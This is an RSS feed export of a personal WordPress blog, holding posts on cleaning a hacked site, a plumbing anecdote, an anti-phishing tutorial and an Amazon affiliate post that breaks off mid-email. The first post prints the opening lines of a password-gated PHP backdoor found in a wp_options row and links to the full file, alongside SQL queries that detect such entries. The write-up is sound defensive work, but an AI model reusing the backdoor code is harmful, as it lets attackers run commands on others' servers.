<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smackdown! &#187; how-to</title>
	<atom:link href="http://smackdown.blogsblogsblogs.com/category/how-to/feed/" rel="self" type="application/rss+xml" />
	<link>http://smackdown.blogsblogsblogs.com</link>
	<description>Smackdown!</description>
	<lastBuildDate>Tue, 22 Nov 2011 22:40:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Rackspace Hacked Clients, Check Your Databases: WordPress &#8220;wp_optimize&#8221; Backdoor In wp_options Table</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/#comments</comments>
		<pubDate>Tue, 15 Jun 2010 01:16:57 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=747</guid>
		<description><![CDATA[Just finished cleaning up a hacked client whose website is hosted on Rackspace Cloud hosting. It is the second one within the past few weeks, although the first one was actually hosting on Laughing Squid, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the [...]]]></description>
			<content:encoded><![CDATA[<p>Just finished cleaning up a hacked client whose website is hosted on <a href="http://www.rackspacecloud.com/" target="_blank">Rackspace Cloud hosting</a>. It is the second one within the past few weeks, although the first one was actually hosting on <a href="http://laughingsquid.net/" target="_blank">Laughing Squid</a>, which happens to use Rackspace Cloud. I had discovered that there were a large number of people all on the same IP as my client a couple of weeks ago who all got hacked, but I was having trouble determining if it was an issue with Laughing Squid or an issue with Rackspace Cloud itself, so I didn&#8217;t blog about it until I could research it more. I wish now that I had, because maybe then it would not have spread so widely. As it is, it is the same WordPress attack that <a href="http://blog.unmaskparasites.com/2010/06/14/attack-on-wordpress-blogs-on-rackspace/" target="_blank">Unmask Parasites blogged about</a> earlier today.</p>
<p>It looks like the culprit might have been a security hole in phpmyadmin. Hopefully this will turn out to be what was wrong, <span id="more-747"></span>because Rackspace upgraded all of their installations of that package <a href="http://status.mosso.com/2010/06/emergency-phpmyadmin-maintenance-ongoing.html" target="_blank">this past Saturday</a>. If so the initial security could very well be plugged, although of course we don&#8217;t know for sure that was what was affecting all of these customers yet. In either case, however, simply plugging the hole will not be enough for affected websites.</p>
<p>The Unmask Parasites blog went into depth about how the various files were injected with malicious code, and how fake admins were used to modify the theme files on the installation. However, what they (and as far as I can tell everyone else) missed was a backdoor that I found injected directly into the wp_options table. The record had an option_name of &#8220;wp_optimize&#8221;, autoload set to &#8220;on&#8221; (which means that the option is automatically loaded with WordPress), and an option_value of php shell code:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$kmd5</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'510a584f9747c1262b5ef3c89bd9afb4'</span><span style="color: #339933;">;</span><span style="color: #000088;">$shellver</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'1.7.5-stable'</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_POST</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$kmd5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>or<span style="color: #009900;">&#40;</span><span style="color: #990000;">isset</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">&amp;&amp;</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'sh'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #000088;">$kmd5</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$kuppa</span><span style="color: #339933;">=</span><span style="color: #990000;">getcwd</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>   	      <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">include</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-config.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/formatting.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>   <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">require_once</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/formatting.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span>	<span style="color: #009900;">&#40;</span><span style="color: #990000;">file_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/kses.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>         <span style="color: #009900;">&#123;</span><span style="color: #b1b100;">require_once</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$kuppa</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/wp-includes/kses.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'update_option_1'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">:</span>
    <span style="color: #000000; font-weight: bold;">function</span> update_option_1<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$option_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newvalue</span> <span style="color: #009900;">&#41;</span>
<span style="color: #339933;">...</span></pre></td></tr></table></div>

<p>In all it was 1216 lines of code. You can view the entire file here: <a href="/images/sql-injection-wp-optimize.txt" target="_blank">sql-injection-wp-optimize.txt</a>. It allows an attacker to basically run any commands or upload any file to the server that they want to. Deleting or cleaning all of the infected files on the server won&#8217;t help as long as this code is still in the database. Please, if you have been hacked (regardless of whether or not you are on Rackspace hosting) please make sure you check your databases for malicious code like this. </p>
<p>An easy way to check for these types of suspicious entries in a <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">hacked WordPress</a> database is to run the following MySQL query:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="mysql" style="font-family:monospace;"><span style="color: #990099; font-weight: bold;">SELECT</span> <span style="color: #CC0099;">*</span> <span style="color: #990099; font-weight: bold;">FROM</span> wp_options <span style="color: #990099; font-weight: bold;">WHERE</span> <span style="color: #FF00FF;">&#40;</span>option_id <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> blog_id <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> option_name <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> option_value <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span> <span style="color: #CC0099; font-weight: bold;">OR</span> autoload <span style="color: #CC0099; font-weight: bold;">LIKE</span> <span style="color: #008000;">'<span style="color: #008080; font-weight: bold;">%</span>base64<span style="color: #008080; font-weight: bold;">_</span>decode<span style="color: #008080; font-weight: bold;">%</span>'</span><span style="color: #FF00FF;">&#41;</span> <span style="color: #990099; font-weight: bold;">order by</span> option_id</pre></td></tr></table></div>

<p>So far the only legitimate entries I have found returned from that query were rss entries pulling in blog posts discussing the <a href="http://php.net/manual/en/function.base64-decode.php" target="_blank">base64_decode()</a> php function, so if you find an entry in the database that doesn&#8217;t look like someone&#8217;s blog post, odds are you are going to want to delete it.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/06/14/rackspace-hacked-clients-check-your-databases-wordpress-wp_optimize-backdoor-in-wp_options-table/feed/</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
		<item>
		<title>My Mom Needed Me To Let The Plumber In While She Was At Work (True Story)</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/05/31/my-mom-needed-me-to-let-the-plumber-in-while-she-was-at-work-true-story/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/05/31/my-mom-needed-me-to-let-the-plumber-in-while-she-was-at-work-true-story/#comments</comments>
		<pubDate>Tue, 01 Jun 2010 02:54:41 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[blogthropology]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[lackofmeds]]></category>
		<category><![CDATA[On The Ball-ness]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=687</guid>
		<description><![CDATA[I work from my house and keep odd hours, so when a family member needs some sort of worker let into their house during the day I am often asked if I am available to do it. I don&#8217;t mind, we all live fairly close together, and it&#8217;s not that much of a hassle on [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/bathtub-drain.jpg" onmouseup="hl2l(event);" style="float: right;" alt="Complex bath mechanisms"> I work from my house and keep odd hours, so when a family member needs some sort of worker let into their house during the day I am often asked if I am available to do it. I don&#8217;t mind, we all live fairly close together, and it&#8217;s not that much of a hassle on most days. Tonight my mom called and asked me if I could let someone in to her place tomorrow to look at her tub, because it&#8217;s clogged. She&#8217;s tried Drano twice, poured boiling hot water in it, and even tried plunging it, all to no avail. I told her it would be no problem for me to let someone in.</p>
<p>A little while later I went into my own bathroom, and while in there happened to glance at my own tub&#8230;<span id="more-687"></span></p>
<p>I called her back and asked her how much water was in her tub. She said maybe an inch or so. I asked her to go look at it, and she informed me that she was already in there.</p>
<p><strong>Me:</strong> &#8220;You know that little lever just below the spout? Is it pointed up, or down?&#8221;</p>
<p><strong>My mom:</strong> &#8220;Up&#8221;</p>
<p><strong>Me:</strong> &#8220;Push it down&#8221;</p>
<p>(<em>silence&#8230; except for the sound of water draining from her tub&#8230;</em>)</p>
<p><strong>My mom:</strong> &#8220;Who the fuck put that up???&#8221;</p>
<p><em>At this point I can barely breathe because I am laughing so hard. She adds more water to the tub, just to make sure it actually is going down, and swears some more.</em></p>
<p><strong>Me:</strong> &#8220;Mom, how long has your tub been &#8216;clogged&#8217;?&#8221;</p>
<p><strong>My mom:</strong> &#8220;A week&#8221;</p>
<p>I lost it. I&#8217;m still giggling as I write this. During her extensive cussing she tried to get me to swear never to tell a soul, but I just had to share. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<p><em>You may also like:</em> <a href="http://smackdown.blogsblogsblogs.com/2011/09/04/taylor-swifts-um-like-youtube-interview/">Taylor Swift&#8217;s, Um, Like, YouTube Interview</a></p>
<div><em><a href="http://www.flickr.com/photos/warrenski/2775894594/" target="_blank">Bathtub drain image</a> attribution goes to <a href="http://www.flickr.com/photos/warrenski/">warrenski</a>.</em></div>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/05/31/my-mom-needed-me-to-let-the-plumber-in-while-she-was-at-work-true-story/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Stray Leftover Hacked WordPress Database Entry: rzf.php</title>
		<link>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/#comments</comments>
		<pubDate>Sat, 13 Mar 2010 16:27:39 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[coding]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=626</guid>
		<description><![CDATA[I never use my uploads directory or WordPress&#8217;s built in media management here on Smackdown, instead preferring to upload and manually insert the html for images myself in my posts (I know, I am weird that way), but my friend Donna has when she has guest blogged here in the past. I therefore knew that [...]]]></description>
			<content:encoded><![CDATA[<p>I never use my uploads directory or WordPress&#8217;s built in media management here on Smackdown, instead preferring to upload and manually insert the html for images myself in my posts (I know, I am weird that way), but <a href="http://www.dazzlindonna.com/blog/" target="_blank">my friend Donna</a> has when she has guest blogged here in the past. I therefore knew that the uploads directory existed and had a few images in there, but never really had any reason to look at them. It was totally by accident that I clicked on the Media link in the admin section this morning. I am glad that I did, however, since otherwise I never would have known that I had missed a bit of leftover data from one of the times that I had been hacked last year, a reference to a file named <strong>rzf.php</strong>.</p>
<p>I use an early warning hacking detection system that Donna came up with last year with and I helped refine, <a href="http://www.webchicklet.com/tools/monitorhackdfiles-tool-helps-fight-site-hackers/" target="_blank">MonitorHackdFiles</a>, that alerts me whenever there are any files modified or added on my blog. This script has been indispensable in helping me to clean up damage from hacks before either my rankings were harmed or an infection spread to my readers. However, based on the folder structure<span id="more-626"></span> on the database entry that I found, this was from a hack that happened prior to me installing that script. I checked, and the file definitely does not exist, either physically or virtually (I get a 404 trying to access it on the web), which makes sense since I did <a href="http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/" target="_blank">completely wipe and reinstall WordPress</a> several times last year. I also always check the wp_posts, wp_users, and wp_options (especially the active_plugins entry) after a hack for any irregularities, but never thought to check wp_postmeta, which is where information about uploads is stored. I have been hacked a few times, and this is apparently the only one that actually <em>used</em> the uploads folder. All of the other hacks hid files amongst the WordPress system files or injected data into the database. Just to be safe though, from now on I am adding to the checks that I perform to the database to include scanning that table for any non image files, like so:</p>
<pre>SELECT * FROM wp_postmeta
WHERE meta_key='_wp_attached_file'
AND (
	RIGHT(meta_value,4) NOT IN ('.jpg','.gif','.png','.avi','.mp3','.mpg','.flv')
	OR meta_value LIKE '%.php%' OR meta_value LIKE '%.pl%'
	OR meta_value LIKE '%.exe%' OR meta_value LIKE '%.js%'
)</pre>
<p>This should display the entries in your database that match the contents of your uploads directory, filtering out the most common safe files while definitely including the most suspicious ones. </p>
<p>I couldn&#8217;t find anyone discussing the rzf.php file when I looked, but I did find a couple of sites that were hacked from it. It apparently generates a list of links that all point back to itself with various d=xxx parameters:</p>
<p>&nbsp;</p>
<p><img src="/images/rzf.php-links.png" onmouseup="hl2l(event);" alt="rzf.php" border="0"></p>
<p>&nbsp;</p>
<p>Each of these pages then generates a list of other self-referential links, plus some added text, and a small percentage of external links. All of the links that I looked at lead back to what appeared to be valid sites, presumably to better hide the actual target. Even though this may be the only function of the file, if the file itself is found in your directory structure, and not just a leftover database remnant like mine was, it is probably best to do a complete cleaning, just to be safe.</p>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2010/03/13/stray-leftover-hacked-wordpress-database-entry-rzf-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Facebook / Twitter / Myspace Hacking: How To Keep It From Happening To You</title>
		<link>http://smackdown.blogsblogsblogs.com/2009/12/18/facebook-twitter-myspace-hacking-how-to-keep-it-from-happening-to-you/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2009/12/18/facebook-twitter-myspace-hacking-how-to-keep-it-from-happening-to-you/#comments</comments>
		<pubDate>Fri, 18 Dec 2009 21:08:14 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[how-to]]></category>
		<category><![CDATA[nerdiness]]></category>
		<category><![CDATA[scams]]></category>
		<category><![CDATA[Social Media]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=398</guid>
		<description><![CDATA[Over the past few weeks I have noticed a sharp increase of scammers trying to get my Facebook password, and not too long ago a few people I know actually fell prey to it. Recently there was an outbreak of of similar activity on Twitter, where the attempts were being spread through direct messages, and [...]]]></description>
			<content:encoded><![CDATA[<p><img src="/images/hacking-facebook.png" border="0" alt="Breaking into Facebook." style="float: right;"  onmouseup="hl2l(event);">Over the past few weeks I have noticed a sharp increase of scammers trying to get my Facebook password, and not too long ago a few people I know actually fell prey to it. Recently there was an outbreak of of similar activity on <a href="http://twitter.com/mvandemar" target="_blank">Twitter</a>, where the attempts were <a href="http://mashable.com/2009/10/28/warning-new-twitter-phishing-scam-spreading-via-direct-message/" target="_blank">being spread through direct messages</a>, and Myspace has seen it&#8217;s share of woes with these issue as well. The methods being used to try and trick users into giving their passwords away are collectively known as <a href=''http://en.wikipedia.org/wiki/Phishing" target="_blank">phishing attempts</a>, where the members of the site are sent a message, either through the site itself or in an email, <span id="more-398"></span> that contains a link or instructions that if followed result in their passwords being given away.</p>
<p>The sites in question will occasionally give out warnings or advice to their users about not entering in their passwords except when actually on their sites, which is of course what you are supposed to make sure you are doing. The problem, however, is that the warnings hardly ever go into detail about what they actually mean by that. Most of us in the IT field, or people who use the internet frequently and have been doing so for a long time, just assume that everyone we say that to knows exactly what we are talking about. However, multiple conversations I have had with friends on the phone in the past, where I was trying to walk them through installing anti-virus (for Windows users I recommend <a href="http://www.avast.com/" target="_blank">Avast</a>, by the way) clued me in to the fact that for many people simply saying &#8220;Make sure you are on the site you think you are&#8221; won&#8217;t be enough:</p>
<p><strong>Me:</strong> Ok, type this into the address box: a &#8211; v &#8211; a &#8211; s &#8211; t &#8211; dot com. Then hit Enter.<br />
<strong>Friend</strong> Ok, done.<br />
<strong>Me:</strong> Good. Do you see the download link&#8230;?<br />
<strong>Friend:</strong> No. I see&#8230; (at this point they start reciting what sounds suspiciously like search results)<br />
<strong>Me:</strong> Wait&#8230; are you in Google? Did you type what I said into the search box?<br />
<strong>Friend:</strong> Yeah, isn&#8217;t that what you said?<br />
<strong>Me:</strong> No, I need you to type it into the address box, so that you don&#8217;t accidentilly click on an ad for a different product.<br />
<strong>Friend:</strong> Oh, ok. (pause)<br />
<strong>Friend:</strong> Where is that?</p>
<p>After this happening more than once I decided that a <em>visual</em> tutorial on how not to get hacked on Facebook might be needed.</p>
<p><strong>It&#8217;s only a Facebook account, why should I care about security?</strong></p>
<p>Glad you asked. While it is true that sites like Myspace and Facebook are more for entertainment and socializing than for business, and you usually aren&#8217;t doing anything extremely sensitive (like banking or dealing with medical records) on them, there are still some very solid reasons to keep your information secure:</p>
<ol>
<li><strong>Stolen Passwords mean stolen identity</strong></li>
<p>While it is true that most scammers who steal your password do so in order to send out spam, there really is nothing stopping them from using it for more devious reasons instead. True, you usually don&#8217;t store your credit card info on your Facebook account, but disguising themselves as you could still be used to <a href="http://www.msnbc.msn.com/id/32671543" target="_blank">scam people who trust you</a> (Your favorite grandson sent you a message on Facebook: &#8220;Grandma? I&#8217;m stuck in Houston and my phone is dead. Can you wire me some money please?&#8221;).</p>
<li><strong>Many people re-use their passwords everywhere</strong></li>
<p>This is not a good idea, but it is a reality. Most of these sites use your email address as your login. If you happen to use the same password for your email as you do for your social media accounts, then this gives the hackers access to all other accounts that you happen to have used that email for, even if you used a different password, since all they have to do is hit the Lost Password link and then log in to your email to get the new one. As a side note, the <a href="http://www.bad-neighborhood.com/password-generator.htm" target="_blank">password generator</a> I built can help with this, since it is generates <a href="http://smackdown.blogsblogsblogs.com/2008/06/20/passwords-that-are-easy-to-remember-but-impossible-to-guess/" target="_blank">easy to remember passwords</a>, making it easier to maintain different passwords for different accounts. At the very least your email password should be unique and hard to guess, since that is in essence a master password for all of your other accounts.</p>
<li><strong>More personal information is collected every day than many people realize</strong></li>
<p>Recently there has been a fuss about the new <a href="http://www.techcrunch.com/2009/12/09/facebook-privacy/" target="_blank">Facebook privacy settings</a>, and what you can and cannot make private. It is the belief that their information is private that lured many people into giving away more info than they probably had intended. If someone gains your password then it of course won&#8217;t matter what your privacy settings are, they can just browse your account (and private messages) at their leisure.
</ol>
<p>Here are some visual cues to let you know whether or not the link you clicked on is really what it seemed to be.</p>
<p><strong>Look at the actual address bar to see what website you are really on.</strong></p>
<p>An easy way to know <em>where</em> to look when looking at a web page address is to remember that <em>the address bar is not located on the actual webpage</em>. It is part of the browser window (Internet Explorer, Firefox, Safari, Chrome, etc.) itself. It&#8217;s located at the top, in the section that has the exact same layout and look and feel regardless of which webpage you are visiting. It is usually above any toolbars you might have installed. It is also distinct from any search boxes that a toolbar or browser may have:</p>
<p><a href="/images/where-is-address-bar.png" target="_blank"><img src="/images/where-is-address-bar-sm.png" border="0" onmouseup="hl2l(event);"></a><br />
(<em>click to enlarge</em>)</p>
<p>In Internet Explorer 8 the address bar looks like this:</p>
<p><img src="/images/address-bar-ie8.png" onmouseup="hl2l(event);"></p>
<p>&nbsp;</p>
<p><strong>Look at the address again&#8230; closely.</strong></p>
<p>A url (or webpage address) is composed of multiple parts. The first section of the url is known as the &#8220;domain&#8221;. This section is always located between the &#8220;http://&#8221; at the beginning, and the very next forward slash (&#8220;/&#8221;) that you see. For instance, the domain you want to be on when logging into Facebook is &#8220;www.facebook.com&#8221;. The &#8220;www&#8221; portion may change, but if you see anything between the &#8220;.com&#8221; (or &#8220;.net&#8221; or &#8220;.org&#8221;, etc.) and the next slash, then the site is not what it is pretending to be:</p>
<p><img src="/images/fake-web-address.png" onmouseup="hl2l(event);"></p>
<p>&nbsp;</p>
<p>Some other quick visual cues that might help:</p>
<p><strong>Does the message really <em>sound</em> like your friend?</strong></p>
<p>In most cases when an automated message is sent from a hacked account it is either the same message sent to everyone, or it is a small set of short messages pulled from a library. The most common are probably messages asking &#8220;is this you?&#8221; and referencing a picture or video that has supposedly been posted to the internet. In a setup like Facebook&#8217;s, where you not only see what messages are sent to you but can also view your friends other publicly posted messages, you can often tell that someone&#8217;s account has been hacked because they will start sending a series of odd or repeated messages, all containing links:</p>
<p><img src="/images/friend-sounds-wrong.png" onmouseup="hl2l(event);"></p>
<p><img src="/images/friend-suspicious-posting.png" onmouseup="hl2l(event);"></p>
<p>&nbsp;</p>
<p><strong>If the link was in an email from the website, does the sender&#8217;s address look right?</strong></p>
<p>Not all phishing attempts are going to come from people on your friends list. Sometimes scammers will send out mass emails pretending to be from the social websites themselves. While the actual From field in an email can be faked, often times in these cases they are not forged properly. Any emails from Facebook, for instance, should actually have &#8220;@facebook.com&#8221; in the email address, and not random characters or be from Hotmail:</p>
<p><img src="/images/bogus-facebook-email-addresses.png" onmouseup="hl2l(event);"></p>
<p>&nbsp;</p>
<p><strong>Are there any mistakes on the login page?</strong></p>
<p>It is of course possible to make an exact perfect copy of a login page for any given site, but not all hackers bother to do so. Take a quick glance at the page before logging in. For instance, you might see an extra less-than sign, like in this fake Twitter login page, which is usually a sign of broken html somewhere:</p>
<p><img src="/images/twitter-login-mistake.png" onmouseup="hl2l(event);"></p>
<p>And major social media websites are never hosted on free hosting accounts, which usually add in their own text or ads to every webpage:</p>
<p><img src="/images/facebook-login-free-hosting.png" onmouseup="hl2l(event);"></p>
<p>&nbsp;</p>
<p>And lastly, one of the biggest clues that a login page is fake&#8230;</p>
<p><strong>Were you logged in <em>before</em> you clicked on the link?</strong></p>
<p>Except in households where more than one person has an account on a particular social medial site, or in cases where you are logging in from a public (or work) computer, most people simply never bother logging out of the site. If you are reading a message someone sent you on Facebook itself, then you have to be logged into Facebook in order to read it. If the message asks you to click on a link, and the page it takes you to asks you to log into Facebook <em>again</em>, then something is wrong.</p>
<p>&nbsp;</p>
<p>Hopefully these simple tips will help some of you from giving away your accounts, even temporarily, to people you would rather not give them to. <img src='http://smackdown.blogsblogsblogs.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div><em>Original <a title="breaking and entering" href="http://www.flickr.com/photos/mwilkie/162153994/">breaking and entering image</a> by <a href="http://www.flickr.com/photos/mwilkie/">mwilkie</a></em></div>
]]></content:encoded>
			<wfw:commentRss>http://smackdown.blogsblogsblogs.com/2009/12/18/facebook-twitter-myspace-hacking-how-to-keep-it-from-happening-to-you/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Amazon Confirms: Shortened URL&#8217;s *Are* Allowed On Facebook and Twitter</title>
		<link>http://smackdown.blogsblogsblogs.com/2009/07/17/amazon-confirms-shortened-urls-are-allowed-on-facebook-and-twitter/</link>
		<comments>http://smackdown.blogsblogsblogs.com/2009/07/17/amazon-confirms-shortened-urls-are-allowed-on-facebook-and-twitter/#comments</comments>
		<pubDate>Fri, 17 Jul 2009 21:10:12 +0000</pubDate>
		<dc:creator>Michael VanDeMar</dc:creator>
				<category><![CDATA[customer service]]></category>
		<category><![CDATA[how-to]]></category>
		<category><![CDATA[Social Media]]></category>

		<guid isPermaLink="false">http://smackdown.blogsblogsblogs.com/?p=363</guid>
		<description><![CDATA[Last week there was some commotion over the fact that it was being reported that Amazon.com was refusing to pay affiliates if they used url shortening services to post affiliate links on social media sites such as Facebook or Twitter. This actually makes no sense from a business perspective, since it would discourage people from [...]]]></description>
			<content:encoded><![CDATA[<p>Last week there was some commotion over the fact that it was being reported that <a href="https://affiliate-program.amazon.com/" target="_blank">Amazon.com</a> was <a href="http://www.searchenginejournal.com/amazon-affiliates-social-media/11654/" target="_blank">refusing to pay affiliates</a> if they used url shortening services to post affiliate links on social media sites such as Facebook or <a href="http://twitter.com/mvandemar/" target="_blank">Twitter</a>. This actually makes no sense from a business perspective, since it would discourage people from sending traffic to Amazon using some of the most popular communication mediums that are out there today.</p>
<p>I decided to go through the <a href="https://affiliate-program.amazon.com/gp/associates/agreement" target="_blank">affiliate operating agreement</a> myself to see <span id="more-363"></span>if I could understand why they were doing this. I realized after I read it that they were <em>not</em> in fact saying any such thing. I wrote them to see what was up, and what the specific issues were. </p>
<p>It took 4 emails to them, with the first 3 coming back with the same answer, that they were not allowed because you are not allowed to use redirects. The problem is that the language of the agreement only mentions redirects in conjunction with either ppc traffic (you cannot link a ppc ad directly to Amazon, or via a redirect, it requires a click from your site to be valid), and with hijacking someone <em>else&#8217;s</em> traffic (no redirecting or interfering with someone else participating in the program). Eventually, however, I got someone who understood what I was saying and they agreed that it is indeed acceptable to do so. Here is there final reply:</p>
<blockquote class="eml"><p>
Dear Michael, </p>
